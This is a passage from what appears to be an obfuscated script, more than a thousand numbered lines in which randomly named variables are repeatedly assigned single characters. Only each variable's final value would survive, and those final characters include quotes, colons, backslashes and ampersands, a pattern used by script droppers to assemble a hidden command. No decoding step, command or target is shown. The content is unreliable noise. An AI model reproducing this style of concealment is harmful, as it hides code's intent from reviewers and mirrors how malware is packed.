322	xybklnzev = "l";
323	xybklnzev = "x";
324	xybklnzev = "q";
325	xybklnzev = "r";
326	xybklnzev = "I";
327	xybklnzev = "G";
328	xybklnzev = "T";
329	xybklnzev = "y";
330	xybklnzev = "s";
331	xybklnzev = "i";
332	xybklnzev = "k";
333	xybklnzev = "u";
334	xybklnzev = "d";
335	xybklnzev = "U";
336	xybklnzev = "i";
337	xybklnzev = "W";
338	xybklnzev = "E";
339	xybklnzev = "U";
340	xybklnzev = "F";
341	xybklnzev = "F";
342	tfseapza = "T";
343	tfseapza = "T";
344	tfseapza = "m";
345	tfseapza = "j";
346	tfseapza = "d";
347	tfseapza = "v";
348	tfseapza = "C";
349	tfseapza = "R";
350	tfseapza = "k";
351	tfseapza = "P";
352	tfseapza = "M";
353	tfseapza = "X";
354	tfseapza = "T";
355	tfseapza = "w";
356	tfseapza = "q";
357	wudjztvyu = "t";
358	wudjztvyu = "c";
359	wudjztvyu = "O";
360	wudjztvyu = "y";
361	wudjztvyu = "t";
362	wudjztvyu = "k";
363	wudjztvyu = "V";
364	wudjztvyu = "Q";
365	wudjztvyu = "X";
366	wudjztvyu = "H";
367	wudjztvyu = "F";
368	wudjztvyu = "l";
369	wudjztvyu = "d";
370	wudjztvyu = "i";
371	wudjztvyu = "s";
372	wudjztvyu = "m";
373	wudjztvyu = "k";
374	wudjztvyu = "c";
375	wudjztvyu = "z";
376	wudjztvyu = "K";
377	wudjztvyu = "o";
378	wudjztvyu = "p";
379	wudjztvyu = "R";
380	wudjztvyu = "V";
381	wudjztvyu = "y";
382	wudjztvyu = "B";
383	wudjztvyu = "J";
384	wudjztvyu = "j";
385	wudjztvyu = "W";
386	wudjztvyu = "W";
387	wudjztvyu = "P";
388	wudjztvyu = "v";
389	wudjztvyu = "B";
390	wudjztvyu = "O";
391	wudjztvyu = "y";
392	wudjztvyu = "Z";
393	wudjztvyu = "n";
394	wudjztvyu = "1";
395	kpldyruo = "Q";
396	kpldyruo = "F";
397	kpldyruo = "D";
398	kpldyruo = "x";
399	kpldyruo = "H";
400	kpldyruo = "P";
401	gjjpmdx = "Q";
402	gjjpmdx = "y";
403	gjjpmdx = "N";
404	gjjpmdx = "Q";
405	gjjpmdx = "x";
406	gjjpmdx = "S";
407	gjjpmdx = "D";
408	gjjpmdx = "z";
409	gjjpmdx = "P";
410	gjjpmdx = "m";
411	gjjpmdx = "u";
412	gjjpmdx = "e";
413	mwglliez = "d";
414	mwglliez = "S";
415	mwglliez = "f";
416	mwglliez = "I";
417	mwglliez = "H";
418	mwglliez = "h";
419	mwglliez = "T";
420	mwglliez = "M";
421	mwglliez = "Z";
422	mwglliez = "5";
423	lwzuiy = "D";
424	lwzuiy = "n";
425	lwzuiy = "H";
426	lwzuiy = "B";
427	lwzuiy = "g";
428	lwzuiy = "K";
429	lwzuiy = "W";
430	lwzuiy = "W";
431	lwzuiy = "v";
432	lwzuiy = "v";
433	lwzuiy = "b";
434	lwzuiy = "M";
435	lwzuiy = "u";
436	lwzuiy = "u";
437	lwzuiy = "v";
438	lwzuiy = "H";
439	lwzuiy = "G";
440	lwzuiy = "u";
441	lwzuiy = "d";
442	lwzuiy = "M";
443	lwzuiy = "g";
444	lwzuiy = "f";
445	lwzuiy = "i";
446	lwzuiy = "W";
447	lwzuiy = "P";
448	lwzuiy = "O";
449	lwzuiy = "C";
450	lwzuiy = "U";
451	lwzuiy = "X";
452	lwzuiy = "g";
453	lwzuiy = "r";
454	lwzuiy = "s";
455	lwzuiy = "P";
456	lwzuiy = "i";
457	lwzuiy = "d";
458	lwzuiy = "L";
459	lwzuiy = "K";
460	lwzuiy = "K";
461	lwzuiy = "p";
462	lwzuiy = "0";
463	occajck = "l";
464	occajck = "j";
465	occajck = "R";
466	occajck = "F";
467	occajck = "s";
468	occajck = "U";
469	occajck = "b";
470	occajck = "L";
471	occajck = "L";
472	occajck = "F";
473	occajck = "w";
474	occajck = "V";
475	occajck = "w";
476	occajck = "F";
477	occajck = "I";
478	occajck = "C";
479	occajck = "O";
480	occajck = "q";
481	occajck = "h";
482	occajck = "R";
483	occajck = "y";
484	occajck = "E";
485	occajck = "p";
486	dvurr = "e";
487	dvurr = "m";
488	dvurr = "P";
489	dvurr = "S";
490	dvurr = "q";
491	dvurr = "U";
492	dvurr = "t";
493	dvurr = "l";
494	dvurr = "M";
495	dvurr = "B";
496	dvurr = "f";
497	dvurr = "n";
498	dvurr = "A";
499	dvurr = "a";
500	dvurr = "T";
501	dvurr = "w";
502	dvurr = "q";
503	dvurr = "X";
504	dvurr = "J";
505	dvurr = "J";
506	dvurr = "t";
507	dvurr = "W";
508	dvurr = "J";
509	dvurr = "m";
510	dvurr = "l";
511	dvurr = "m";
512	dvurr = "G";
513	dvurr = "W";
514	dvurr = "s";
515	dvurr = "s";
516	dvurr = "j";
517	dvurr = "V";
518	dvurr = "Z";
519	dvurr = "Y";
520	dvurr = "a";
521	dvurr = "U";
522	dvurr = "J";
523	dvurr = "q";
524	dvurr = "U";
525	dvurr = ".";
526	wxvvwdh = "k";
527	wxvvwdh = "V";
528	wxvvwdh = "F";
529	wxvvwdh = "C";
530	wxvvwdh = "U";
531	wxvvwdh = "c";
532	wxvvwdh = "G";
533	wxvvwdh = "d";
534	wxvvwdh = "b";
535	wxvvwdh = "z";
536	wxvvwdh = "j";
537	wxvvwdh = "x";
538	wxvvwdh = "x";
539	wxvvwdh = "J";
540	wxvvwdh = "G";
541	wxvvwdh = "A";
542	wxvvwdh = "V";
543	wxvvwdh = "c";
544	ltrkgasxf = "R";
545	ltrkgasxf = "G";
546	ltrkgasxf = "G";
547	ltrkgasxf = "y";
548	ltrkgasxf = "E";
549	ltrkgasxf = "e";
550	ltrkgasxf = "K";
551	ltrkgasxf = "C";
552	ltrkgasxf = "Y";
553	ltrkgasxf = "d";
554	ltrkgasxf = "L";
555	ltrkgasxf = "C";
556	ltrkgasxf = "l";
557	ltrkgasxf = "2";
558	bfcdukc = "U";
559	bfcdukc = "k";
560	bfcdukc = "M";
561	bfcdukc = "z";
562	bfcdukc = "o";
563	bfcdukc = "f";
564	bfcdukc = "G";
565	bfcdukc = "I";
566	bfcdukc = "i";
567	bfcdukc = "D";
568	bfcdukc = "j";
569	bfcdukc = "v";
570	bfcdukc = "Y";
571	bfcdukc = "z";
572	bfcdukc = "F";
573	bfcdukc = "j";
574	bfcdukc = "e";
575	bfcdukc = "u";
576	bfcdukc = "M";
577	bfcdukc = "D";
578	bfcdukc = "J";
579	bfcdukc = "I";
580	bfcdukc = "v";
581	bfcdukc = "T";
582	bfcdukc = "O";
583	bfcdukc = "p";
584	bfcdukc = "x";
585	bfcdukc = "e";
586	bfcdukc = "J";
587	bfcdukc = "A";
588	bfcdukc = "B";
589	bfcdukc = "f";
590	bfcdukc = "a";
591	bfcdukc = "z";
592	bfcdukc = "F";
593	bfcdukc = "R";
594	bfcdukc = "P";
595	bfcdukc = "b";
596	bfcdukc = "T";
597	bfcdukc = "w";
598	bfcdukc = "c";
599	bfcdukc = " ";
600	gvcink = "L";
601	gvcink = "d";
602	gvcink = "J";
603	gvcink = "P";
604	gvcink = "T";
605	gvcink = "j";
606	gvcink = "G";
607	gvcink = "M";
608	gvcink = "q";
609	gvcink = "F";
610	gvcink = "e";
611	gvcink = "o";
612	gvcink = "s";
613	gvcink = "M";
614	gvcink = "J";
615	gvcink = "j";
616	gvcink = "W";
617	gvcink = "A";
618	gvcink = "m";
619	gvcink = "X";
620	gvcink = "r";
621	gvcink = "R";
622	uoqilv = "f";
623	uoqilv = "A";
624	uoqilv = "t";
625	uoqilv = "d";
626	uoqilv = "N";
627	uoqilv = "N";
628	uoqilv = "G";
629	uoqilv = "G";
630	uoqilv = "h";
631	uoqilv = "j";
632	uoqilv = "V";
633	uoqilv = "Z";
634	uoqilv = "x";
635	uoqilv = "H";
636	uoqilv = "z";
637	uoqilv = "f";
638	uoqilv = "H";
639	uoqilv = "R";
640	uoqilv = "L";
641	uoqilv = "f";
642	uoqilv = "x";
643	uoqilv = "F";
644	uoqilv = "X";
645	uoqilv = "Z";
646	uoqilv = "y";
647	uoqilv = "R";
648	uoqilv = "x";
649	uoqilv = "l";
650	uoqilv = "W";
651	uoqilv = "F";
652	uoqilv = "3";
653	aoywuxfq = "N";
654	aoywuxfq = "W";
655	aoywuxfq = "b";
656	aoywuxfq = "I";
657	aoywuxfq = "x";
658	aoywuxfq = "X";
659	aoywuxfq = "d";
660	aoywuxfq = "L";
661	aoywuxfq = "Z";
662	aoywuxfq = "r";
663	aoywuxfq = "m";
664	aoywuxfq = "U";
665	aoywuxfq = "n";
666	aoywuxfq = "C";
667	aoywuxfq = "h";
668	aoywuxfq = "v";
669	aoywuxfq = "I";
670	aoywuxfq = "L";
671	aoywuxfq = "b";
672	aoywuxfq = "g";
673	aoywuxfq = "r";
674	aoywuxfq = "C";
675	aoywuxfq = "V";
676	aoywuxfq = "R";
677	aoywuxfq = "E";
678	aoywuxfq = "T";
679	aoywuxfq = "K";
680	aoywuxfq = "u";
681	aoywuxfq = "L";
682	aoywuxfq = "P";
683	aoywuxfq = "Z";
684	aoywuxfq = "v";
685	aoywuxfq = "M";
686	aoywuxfq = "N";
687	gnwlh = "I";
688	gnwlh = "v";
689	szufolp = "H";
690	szufolp = "c";
691	szufolp = "U";
692	szufolp = "z";
693	szufolp = "P";
694	szufolp = "U";
695	szufolp = "n";
696	szufolp = "c";
697	szufolp = "n";
698	szufolp = "m";
699	szufolp = "o";
700	szufolp = "H";
701	szufolp = "F";
702	szufolp = "S";
703	szufolp = "j";
704	szufolp = "Z";
705	szufolp = "b";
706	szufolp = "u";
707	szufolp = "v";
708	szufolp = "t";
709	szufolp = "v";
710	szufolp = "v";
711	szufolp = "W";
712	szufolp = "X";
713	szufolp = "i";
714	szufolp = "U";
715	szufolp = "n";
716	niqvfy = "n";
717	niqvfy = "H";
718	niqvfy = "l";
719	niqvfy = "E";
720	niqvfy = "K";
721	niqvfy = "b";
722	niqvfy = "Q";
723	niqvfy = "L";
724	niqvfy = "o";
725	niqvfy = "a";
726	niqvfy = "g";
727	niqvfy = "H";
728	nlrfhok = "n";
729	nlrfhok = "o";
730	nlrfhok = "v";
731	nlrfhok = "b";
732	nlrfhok = "O";
733	nlrfhok = "H";
734	nlrfhok = "Q";
735	nlrfhok = "v";
736	nlrfhok = "R";
737	nlrfhok = "C";
738	nlrfhok = "B";
739	nlrfhok = "w";
740	nlrfhok = "u";
741	nlrfhok = "H";
742	nlrfhok = "q";
743	nlrfhok = "N";
744	nlrfhok = "a";
745	nlrfhok = "Y";
746	nlrfhok = "U";
747	nlrfhok = "D";
748	nlrfhok = "e";
749	nlrfhok = "g";
750	nvfydys = "g";
751	nvfydys = "W";
752	nvfydys = "U";
753	nvfydys = "O";
754	nvfydys = "h";
755	nvfydys = "k";
756	nvfydys = "r";
757	nvfydys = "g";
758	nvfydys = "Q";
759	nvfydys = "T";
760	nvfydys = "J";
761	nvfydys = "E";
762	nvfydys = "U";
763	nvfydys = "y";
764	nvfydys = "t";
765	nvfydys = "n";
766	nvfydys = "H";
767	nvfydys = "h";
768	nvfydys = "D";
769	nvfydys = "Z";
770	nvfydys = "a";
771	nvfydys = "i";
772	nvfydys = "j";
773	nvfydys = "a";
774	nvfydys = "H";
775	nvfydys = "I";
776	nvfydys = "M";
777	nvfydys = "U";
778	nvfydys = "G";
779	nvfydys = "X";
780	nvfydys = "E";
781	nvfydys = "h";
782	nvfydys = "q";
783	nvfydys = "W";
784	ubwjz = "U";
785	ubwjz = "N";
786	ubwjz = "w";
787	ubwjz = "P";
788	ubwjz = "L";
789	ubwjz = "Q";
790	ubwjz = "I";
791	ubwjz = "U";
792	ubwjz = "R";
793	ubwjz = "x";
794	ubwjz = "U";
795	ubwjz = "L";
796	ubwjz = "R";
797	ubwjz = "f";
798	ubwjz = "y";
799	ubwjz = "m";
800	ubwjz = "R";
801	ubwjz = "C";
802	ubwjz = "W";
803	ubwjz = "n";
804	ubwjz = "t";
805	ubwjz = "C";
806	ubwjz = "E";
807	ubwjz = "I";
808	ubwjz = "S";
809	ubwjz = "M";
810	ubwjz = "n";
811	ubwjz = "k";
812	ubwjz = "g";
813	ubwjz = "V";
814	ubwjz = "U";
815	ubwjz = "L";
816	ubwjz = "l";
817	ubwjz = "m";
818	zaajd = "k";
819	zaajd = "j";
820	zaajd = "a";
821	zaajd = "Z";
822	zaajd = "l";
823	zaajd = "R";
824	zaajd = "u";
825	zaajd = "p";
826	zaajd = "h";
827	zaajd = "h";
828	zaajd = "l";
829	zaajd = "H";
830	zaajd = "d";
831	zaajd = "p";
832	zaajd = "u";
833	zaajd = "g";
834	zaajd = "e";
835	zaajd = "t";
836	zaajd = "o";
837	syqtqivdr = "S";
838	syqtqivdr = "S";
839	syqtqivdr = "Q";
840	syqtqivdr = "d";
841	syqtqivdr = "y";
842	syqtqivdr = "E";
843	syqtqivdr = "O";
844	syqtqivdr = "i";
845	syqtqivdr = "Y";
846	syqtqivdr = "W";
847	syqtqivdr = "s";
848	syqtqivdr = "D";
849	syqtqivdr = "Z";
850	syqtqivdr = "P";
851	syqtqivdr = "X";
852	syqtqivdr = "k";
853	syqtqivdr = "o";
854	syqtqivdr = "P";
855	syqtqivdr = "n";
856	syqtqivdr = "K";
857	syqtqivdr = "w";
858	syqtqivdr = "F";
859	syqtqivdr = "a";
860	syqtqivdr = "q";
861	syqtqivdr = "K";
862	syqtqivdr = "k";
863	syqtqivdr = "B";
864	syqtqivdr = "I";
865	syqtqivdr = "m";
866	syqtqivdr = "g";
867	syqtqivdr = "u";
868	syqtqivdr = "b";
869	syqtqivdr = "f";
870	tzjxwvtc = "N";
871	tzjxwvtc = "Q";
872	tzjxwvtc = "T";
873	tzjxwvtc = "p";
874	tzjxwvtc = "t";
875	tzjxwvtc = "e";
876	tzjxwvtc = "U";
877	tzjxwvtc = "D";
878	tzjxwvtc = "r";
879	tzjxwvtc = "G";
880	tzjxwvtc = "N";
881	tzjxwvtc = "r";
882	tzjxwvtc = "Y";
883	tzjxwvtc = "G";
884	tzjxwvtc = "j";
885	tzjxwvtc = "o";
886	tzjxwvtc = "l";
887	tzjxwvtc = "x";
888	tzjxwvtc = "x";
889	tzjxwvtc = "v";
890	tzjxwvtc = "i";
891	tzjxwvtc = "a";
892	tzjxwvtc = "C";
893	tzjxwvtc = "a";
894	tzjxwvtc = "L";
895	tzjxwvtc = "K";
896	tzjxwvtc = "u";
897	tzjxwvtc = "a";
898	tzjxwvtc = "r";
899	tzjxwvtc = "Q";
900	tzjxwvtc = "S";
901	tzjxwvtc = "d";
902	tzjxwvtc = "E";
903	tzjxwvtc = "A";
904	tzjxwvtc = "t";
905	tzjxwvtc = "7";
906	hydmbosbd = "B";
907	hydmbosbd = "L";
908	hydmbosbd = "t";
909	hydmbosbd = "W";
910	hydmbosbd = "\"";
911	dxell = "d";
912	dxell = "Q";
913	dxell = "S";
914	dxell = "v";
915	dxell = "q";
916	dxell = "z";
917	dxell = "i";
918	dxell = "b";
919	dxell = "j";
920	dxell = "m";
921	dxell = "T";
922	dxell = "n";
923	dxell = "c";
924	dxell = "c";
925	dxell = "D";
926	dxell = "u";
927	dxell = "i";
928	dxell = "I";
929	dxell = "K";
930	dxell = "i";
931	dxell = "K";
932	dxell = "b";
933	dxell = "b";
934	dxell = "F";
935	dxell = "D";
936	dxell = "g";
937	dxell = "E";
938	dxell = "v";
939	dxell = "P";
940	dxell = "S";
941	dxell = "z";
942	dxell = "i";
943	dxell = "u";
944	dxell = "A";
945	dxell = "B";
946	dxell = "s";
947	dxell = "w";
948	dxell = "t";
949	ejqeunp = "Z";
950	ejqeunp = "F";
951	ejqeunp = "F";
952	ejqeunp = "E";
953	ejqeunp = "N";
954	ejqeunp = "q";
955	ejqeunp = "y";
956	ejqeunp = "p";
957	ejqeunp = "B";
958	ejqeunp = "N";
959	ejqeunp = "H";
960	ejqeunp = "d";
961	ejqeunp = "N";
962	ejqeunp = "l";
963	ejqeunp = "i";
964	ejqeunp = "l";
965	ejqeunp = "t";
966	ejqeunp = "n";
967	ejqeunp = "Y";
968	ejqeunp = "m";
969	ejqeunp = "E";
970	ejqeunp = "r";
971	ejqeunp = "s";
972	ejqeunp = "Q";
973	ejqeunp = "Y";
974	ejqeunp = "M";
975	ejqeunp = "j";
976	ejqeunp = ":";
977	jlxsmoe = "h";
978	jlxsmoe = "E";
979	jlxsmoe = "H";
980	jlxsmoe = "x";
981	jlxsmoe = "I";
982	jlxsmoe = "J";
983	jlxsmoe = "a";
984	jlxsmoe = "n";
985	jlxsmoe = "Z";
986	jlxsmoe = "N";
987	jlxsmoe = "M";
988	jlxsmoe = "e";
989	jlxsmoe = "v";
990	jlxsmoe = "m";
991	jlxsmoe = "M";
992	jlxsmoe = "N";
993	jlxsmoe = "n";
994	jlxsmoe = "C";
995	jlxsmoe = "z";
996	jlxsmoe = "D";
997	jlxsmoe = "J";
998	jlxsmoe = "b";
999	jlxsmoe = "C";
1000	tkfkuk = "C";
1001	tkfkuk = "z";
1002	tkfkuk = "p";
1003	tkfkuk = "v";
1004	tkfkuk = "f";
1005	tkfkuk = "z";
1006	tkfkuk = "Q";
1007	tkfkuk = "P";
1008	tkfkuk = "N";
1009	tkfkuk = "B";
1010	tkfkuk = "t";
1011	tkfkuk = "F";
1012	tkfkuk = "f";
1013	tkfkuk = "w";
1014	tkfkuk = "o";
1015	tkfkuk = "u";
1016	tkfkuk = "K";
1017	tkfkuk = "Q";
1018	qlloowv = "S";
1019	qlloowv = "B";
1020	qlloowv = "j";
1021	qlloowv = "d";
1022	qlloowv = "R";
1023	qlloowv = "u";
1024	qlloowv = "I";
1025	qlloowv = "y";
1026	qlloowv = "D";
1027	qlloowv = "o";
1028	qlloowv = "J";
1029	qlloowv = "v";
1030	qlloowv = "o";
1031	qlloowv = "G";
1032	qlloowv = "k";
1033	yuderoe = "G";
1034	yuderoe = "E";
1035	yuderoe = "w";
1036	yuderoe = "M";
1037	yuderoe = "i";
1038	rmsqx = "E";
1039	rmsqx = "H";
1040	rmsqx = "p";
1041	rmsqx = "E";
1042	rmsqx = "a";
1043	rmsqx = "B";
1044	rmsqx = "A";
1045	rmsqx = "x";
1046	rmsqx = "q";
1047	rmsqx = "m";
1048	rmsqx = "P";
1049	rmsqx = "U";
1050	rmsqx = "s";
1051	rmsqx = "j";
1052	rmsqx = "E";
1053	rmsqx = "M";
1054	rmsqx = "o";
1055	rmsqx = "j";
1056	rmsqx = "a";
1057	rmsqx = "P";
1058	rmsqx = "Z";
1059	rmsqx = "m";
1060	rmsqx = "n";
1061	rmsqx = "Q";
1062	rmsqx = "w";
1063	rmsqx = "c";
1064	rmsqx = "R";
1065	rmsqx = "W";
1066	rmsqx = "G";
1067	rmsqx = "N";
1068	rmsqx = "k";
1069	rmsqx = "o";
1070	rmsqx = "h";
1071	rmsqx = "S";
1072	rmsqx = "b";
1073	rmsqx = "C";
1074	rmsqx = "P";
1075	rmsqx = "a";
1076	rmsqx = "6";
1077	jmqdjued = "w";
1078	jmqdjued = "c";
1079	jmqdjued = "L";
1080	jmqdjued = "G";
1081	jmqdjued = "J";
1082	jmqdjued = "t";
1083	jmqdjued = "J";
1084	jmqdjued = "Q";
1085	jmqdjued = "A";
1086	jmqdjued = "y";
1087	jmqdjued = "y";
1088	jmqdjued = "\\";
1089	nrxpvz = "I";
1090	nrxpvz = "h";
1091	nrxpvz = "R";
1092	nrxpvz = "k";
1093	nrxpvz = "L";
1094	nrxpvz = "p";
1095	nrxpvz = "n";
1096	nrxpvz = "m";
1097	nrxpvz = "W";
1098	nrxpvz = "j";
1099	qdvxvjhrf = "A";
1100	qdvxvjhrf = "R";
1101	qdvxvjhrf = "B";
1102	qdvxvjhrf = "Y";
1103	qdvxvjhrf = "J";
1104	qdvxvjhrf = "Z";
1105	qdvxvjhrf = "c";
1106	qdvxvjhrf = "L";
1107	qdvxvjhrf = "F";
1108	qdvxvjhrf = "z";
1109	qdvxvjhrf = "G";
1110	qdvxvjhrf = "O";
1111	qdvxvjhrf = "X";
1112	qdvxvjhrf = "O";
1113	qdvxvjhrf = "w";
1114	qdvxvjhrf = "Y";
1115	qdvxvjhrf = "W";
1116	qdvxvjhrf = "S";
1117	qdvxvjhrf = "Z";
1118	qdvxvjhrf = "y";
1119	qdvxvjhrf = "n";
1120	qdvxvjhrf = "M";
1121	qdvxvjhrf = "f";
1122	qdvxvjhrf = "r";
1123	qdvxvjhrf = "A";
1124	qdvxvjhrf = "E";
1125	qdvxvjhrf = "v";
1126	qdvxvjhrf = "c";
1127	qdvxvjhrf = "I";
1128	qdvxvjhrf = "h";
1129	qdvxvjhrf = "K";
1130	qdvxvjhrf = "M";
1131	qdvxvjhrf = "c";
1132	qdvxvjhrf = "-";
1133	nkhtdxb = "X";
1134	nkhtdxb = "I";
1135	nkhtdxb = "o";
1136	nkhtdxb = "x";
1137	nkhtdxb = "b";
1138	nkhtdxb = "c";
1139	nkhtdxb = "Z";
1140	nkhtdxb = "j";
1141	nkhtdxb = "P";
1142	nkhtdxb = "s";
1143	nkhtdxb = "O";
1144	nkhtdxb = "V";
1145	nkhtdxb = "j";
1146	nkhtdxb = "b";
1147	nkhtdxb = "u";
1148	nkhtdxb = "d";
1149	nkhtdxb = "z";
1150	nkhtdxb = "i";
1151	nkhtdxb = "u";
1152	nkhtdxb = "d";
1153	pyowfdf = "g";
1154	pyowfdf = "Y";
1155	pyowfdf = "U";
1156	pyowfdf = "g";
1157	pyowfdf = "X";
1158	pyowfdf = "F";
1159	pyowfdf = "S";
1160	pyowfdf = "x";
1161	pyowfdf = "b";
1162	pyowfdf = "b";
1163	pyowfdf = "g";
1164	pyowfdf = "m";
1165	pyowfdf = "H";
1166	pyowfdf = "x";
1167	pyowfdf = "E";
1168	pyowfdf = "R";
1169	pyowfdf = "y";
1170	pyowfdf = "K";
1171	pyowfdf = "u";
1172	pyowfdf = "s";
1173	pyowfdf = "b";
1174	jvsnxgw = "Y";
1175	jvsnxgw = "d";
1176	jvsnxgw = "f";
1177	jvsnxgw = "O";
1178	jvsnxgw = "j";
1179	jvsnxgw = "K";
1180	jvsnxgw = "X";
1181	jvsnxgw = "m";
1182	jvsnxgw = "l";
1183	jvsnxgw = "c";
1184	jvsnxgw = "w";
1185	jvsnxgw = "H";
1186	jvsnxgw = "s";
1187	jvsnxgw = "g";
1188	jvsnxgw = "F";
1189	jvsnxgw = "W";
1190	jvsnxgw = "i";
1191	jvsnxgw = "N";
1192	jvsnxgw = "b";
1193	jvsnxgw = "F";
1194	jvsnxgw = "D";
1195	jvsnxgw = "i";
1196	jvsnxgw = "J";
1197	jvsnxgw = "f";
1198	jvsnxgw = "G";
1199	jvsnxgw = "m";
1200	jvsnxgw = "J";
1201	jvsnxgw = "G";
1202	jvsnxgw = "V";
1203	jvsnxgw = "a";
1204	jvsnxgw = "N";
1205	jvsnxgw = "v";
1206	jvsnxgw = "e";
1207	jvsnxgw = "D";
1208	jvsnxgw = "Z";
1209	jvsnxgw = "B";
1210	jvsnxgw = "z";
1211	jvsnxgw = "p";
1212	jvsnxgw = "z";
1213	jvsnxgw = "p";
1214	jvsnxgw = "T";
1215	jvsnxgw = "H";
1216	jvsnxgw = "E";
1217	nskvgrpfw = "s";
1218	nskvgrpfw = "l";
1219	nskvgrpfw = "T";
1220	nskvgrpfw = "Y";
1221	nskvgrpfw = "e";
1222	nskvgrpfw = "Z";
1223	nskvgrpfw = "v";
1224	nskvgrpfw = "c";
1225	nskvgrpfw = "b";
1226	nskvgrpfw = "I";
1227	nskvgrpfw = "Y";
1228	nskvgrpfw = "U";
1229	nskvgrpfw = "c";
1230	nskvgrpfw = "v";
1231	nskvgrpfw = "d";
1232	nskvgrpfw = "M";
1233	nskvgrpfw = "b";
1234	nskvgrpfw = "d";
1235	nskvgrpfw = "W";
1236	nskvgrpfw = "b";
1237	nskvgrpfw = "l";
1238	nskvgrpfw = "z";
1239	nskvgrpfw = "c";
1240	nskvgrpfw = "X";
1241	nskvgrpfw = "E";
1242	nskvgrpfw = "E";
1243	nskvgrpfw = "s";
1244	nskvgrpfw = "f";
1245	nskvgrpfw = "W";
1246	nskvgrpfw = "d";
1247	nskvgrpfw = "p";
1248	nskvgrpfw = "w";
1249	nskvgrpfw = "&";
1250	iqgbgnw = "l";
1251	iqgbgnw = "K";
1252	iqgbgnw = "W";
1253	iqgbgnw = "f";
1254	iqgbgnw = "D";
1255	iqgbgnw = "M";
1256	iqgbgnw = "n";
1257	iqgbgnw = "z";
1258	iqgbgnw = "S";
1259	iqgbgnw = "H";
1260	iqgbgnw = "Y";
1261	jrosfykn = "P";
1262	jrosfykn = "G";
1263	jrosfykn = "m";
1264	jrosfykn = "r";
1265	jrosfykn = "c";
1266	jrosfykn = "h";
1267	jrosfykn = "D";
1268	jrosfykn = "c";
1269	jrosfykn = "_";
1270	qqggkg = "X";
1271	qqggkg = "m";
1272	qqggkg = "O";
1273	zlorjjq = "R";
1274	zlorjjq = "o";
1275	zlorjjq = "r";
1276	zlorjjq = "m";
1277	zlorjjq = "w";
1278	zlorjjq = "O";
1279	zlorjjq = "X";
1280	zlorjjq = "b";
1281	zlorjjq = "z";
1282	zlorjjq = "G";
1283	zlorjjq = "h";
1284	zlorjjq = "a";
1285	zlorjjq = "d";
1286	zlorjjq = "G";
1287	zlorjjq = "Y";
1288	zlorjjq = "R";
1289	zlorjjq = "W";
1290	zlorjjq = "B";
1291	zlorjjq = "G";
1292	zlorjjq = "A";
1293	zlorjjq = "A";
1294	zlorjjq = "P";
1295	zlorjjq = "O";
1296	zlorjjq = "s";
1297	zlorjjq = "x";
1298	zlorjjq = "T";
1299	zlorjjq = "v";
1300	zlorjjq = "m";
1301	zlorjjq = "S";
1302	zlorjjq = "S";
1303	zlorjjq = "N";
1304	zlorjjq = "G";
1305	zlorjjq = "N";
1306	zlorjjq = "g";
1307	zlorjjq = "G";
1308	zlorjjq = "m";
1309	zlorjjq = "H";
1310	zlorjjq = "X";
1311	zlorjjq = "L";
1312	rdeditcc = "Q";
1313	rdeditcc = "E";
1314	rdeditcc = "I";
1315	rdeditcc = "h";
1316	rdeditcc = "e";
1317	rdeditcc = "D";
1318	rdeditcc = "y";
1319	rdeditcc = "n";
1320	rdeditcc = "P";
1321	rdeditcc = "c";
1322	rdeditcc = "P";
1323	rdeditcc = "N";
1324	rdeditcc = "h";
1325	kqfwz = "p";
1326	kqfwz = "z";
1327	kqfwz = "v";
1328	kqfwz = "T";
1329	kqfwz = "f";
1330	kqfwz = "c";
1331	kqfwz = "T";
1332	kqfwz = "V";
1333	kqfwz = "t";
1334	kqfwz = "a";
1335	kqfwz = "K";
1336	kqfwz = "p";
1337	kqfwz = "g";
1338	kqfwz = "P";
1339	kqfwz = "M";
1340	kqfwz = "H";
1341	kqfwz = "B";
1342	kqfwz = "T";
1343	kqfwz = "a";
1344	kqfwz = "J";
1345	kqfwz = "u";
1346	kqfwz = "V";
1347	kqfwz = "y";
1348	kqfwz = "W";
1349	kqfwz = "G";
1350	kqfwz = "i";
1351	kqfwz = "D";
1352	kqfwz = "e";
1353	kqfwz = "E";
1354	kqfwz = "o";
1355	kqfwz = "h";
1356	kqfwz = "u";
1357	kqfwz = "b";
1358	kqfwz = "P";
1359	kqfwz = "F";
1360	kqfwz = "T";
1361	kcscpcma = "L";
1362	kcscpcma = "N";
1363	kcscpcma = "A";
1364	kcscpcma = "d";
1365	kcscpcma = "f";
1366	kcscpcma = "R";
1367	kcscpcma = "s";
1368	kcscpcma = "I";
1369	kcscpcma = "I";
1370	kcscpcma = "K";
1371	kcscpcma = "o";
1372	kcscpcma = "Z";
1373	kcscpcma = "e";
1374	kcscpcma = "E";
1375	kcscpcma = "N";
1376	kcscpcma = "R";
1377	kcscpcma = "S";
1378	qpipwvafw = "N";
1379	qpipwvafw = "M";
1380	qpipwvafw = "F";
1381	qpipwvafw = "N";
1382	qpipwvafw = "8";
1383	pxesxihs = "s";
1384	pxesxihs = "b";
1385	pxesxihs = "x";
1386	pxesxihs = "E";
1387	pxesxihs = "t";
1388	pxesxihs = "r";
1389	pxesxihs = "V";
1390	pxesxihs = "v";
1391	pxesxihs = "k";
1392	pxesxihs = "R";
1393	pxesxihs = "G";
1394	pxesxihs = "V";
1395	pxesxihs = "r";
1396	pxesxihs = "t";
1397	pxesxihs = "Q";
1398	pxesxihs = "h";
1399	pxesxihs = "w";
1400	pxesxihs = "k";
1401	pxesxihs = "k";
1402	pxesxihs = "c";
1403	pxesxihs = "K";
1404	pxesxihs = "M";
1405	pxesxihs = "B";
1406	pxesxihs = "M";
1407	pxesxihs = "L";
1408	pxesxihs = "I";
1409	pxesxihs = "v";
1410	pxesxihs = "k";
1411	pxesxihs = "t";
1412	pxesxihs = "b";
1413	pxesxihs = "f";
1414	pxesxihs = "z";
1415	pxesxihs = "g";
1416	pxesxihs = "K";
1417	pxesxihs = "o";
1418	pxesxihs = "K";
1419	pxesxihs = "r";
1420	pxesxihs = "u";
1421	pxesxihs = "i";
1422	pxesxihs = "i";
1423	pxesxihs = "K";
1424	pxesxihs = "J";
1425	pxesxihs = "J";
1426	pxesxihs = "C";
1427	pxesxihs = "u";
1428	zomtxqsq = "t";
1429	zomtxqsq = "b";
1430	zomtxqsq = "t";
1431	zomtxqsq = "D";
1432	zomtxqsq = "T";
1433	zomtxqsq = "U";
1434	zomtxqsq = "O";
1435	zomtxqsq = "p";
1436	zomtxqsq = "S";
1437	zomtxqsq = "Q";
1438	zomtxqsq = "Z";
1439	zomtxqsq = "S";
1440	zomtxqsq = "u";
1441	zomtxqsq = "m";
1442	zomtxqsq = "O";
1443	zomtxqsq = "Y";
1444	zomtxqsq = "H";
